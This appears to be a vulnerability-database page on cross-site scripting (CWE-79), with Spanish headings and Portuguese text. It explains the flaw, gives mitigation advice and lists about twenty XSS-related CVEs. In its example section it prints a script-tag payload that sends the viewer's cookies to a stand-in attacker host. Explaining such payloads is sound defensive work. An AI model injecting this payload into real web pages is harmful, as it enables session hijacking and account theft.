Fallos del tipo CWE-79

30.150 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-46934MEDIUMRocket.Chat 6.12.0, 6.11.2, 6.10.5, 6.9.6, 6.8.6, 6.7.8, and earlier is vulnerable to DOM-based Cross-site Scripting (XSS). Attackers may beEPSS 0.3%CVE-2025-0984HIGHArbitrary File Upload in Netoloji Software's E-FlowEPSS 0.3%CVE-2024-52467HIGHWordPress AI Responsive Gallery Album plugin <= 1.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-56938MEDIUMLearnDash v6.7.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in the materials-content class.EPSS 0.3%CVE-2024-1766MEDIUMDownload Manager <= 3.2.86 - Authenticated (Subscriber+) Stored Self-Based Cross-Site ScriptingEPSS 0.3%CVE-2024-5279MEDIUMQiwen Netdisk File Rename cross site scriptingEPSS 0.3%CVE-2024-20512MEDIUMCisco Unified Contact Center Management Portal Reflected Cross-Site Scripting VulnerabilityEPSS 0.3%CVE-2026-49220MEDIUMJellyfin: Potential XSS in user managementEPSS 0.3%CVE-2024-31255HIGHWordPress ELEX WooCommerce Dynamic Pricing and Discounts plugin <= 2.1.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-4486MEDIUMAwesome Contact Form7 for Elementor <= 2.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via AEP Contact Form 7 WidgetEPSS 0.3%CVE-2024-56939MEDIUMLearnDash v6.7.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in the ld-comment-body class.EPSS 0.3%CVE-2025-4986HIGHStored Cross-site Scripting (XSS) vulnerability affecting Model Definition in Product Manager from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2025xEPSS 0.3%CVE-2025-4991HIGHStored Cross-site Scripting (XSS) vulnerability affecting 3D Markup in Collaborative Industry Innovator from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2025xEPSS 0.3%CVE-2024-42904MEDIUMA cross-site scripting (XSS) vulnerability in SysPass 3.2.x allows attackers to execute arbitrary web scripts or HTML via injecting a crafteEPSS 0.3%CVE-2024-22307HIGHWordPress WP-Lister Lite for eBay plugin <= 3.5.7 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-20511MEDIUMCisco Unified Communications Manager Cross-Site Scripting VulnerabilityEPSS 0.3%CVE-2024-5554MEDIUMElement Pack Elementor Addons (Header Footer, Template Library, Dynamic Grid & Carousel, Remote Arrows) <= 5.6.11 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-3231HIGHCheckout Field Editor (Checkout Manager) for WooCommerce <= 2.1.7 - Unauthenticated Stored Cross-Site Scripting via Block Checkout Custom Radio FieldEPSS 0.3%CVE-2024-29930MEDIUMWordPress Crypto Converter Widget plugin <= 1.8.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-3149MEDIUMitning Student Homework Management System Edit Job Page fileupload cross site scriptingEPSS 0.3%